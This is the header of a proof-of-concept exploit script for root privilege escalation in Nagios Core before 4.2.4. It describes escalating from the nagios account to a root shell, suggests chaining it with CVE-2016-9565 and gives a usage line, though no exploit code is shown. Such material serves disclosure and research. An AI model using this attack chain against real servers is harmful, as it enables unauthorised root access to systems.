# Nagios Core < 4.2.4  Root Privilege Escalation PoC Exploit

#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account, 
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log
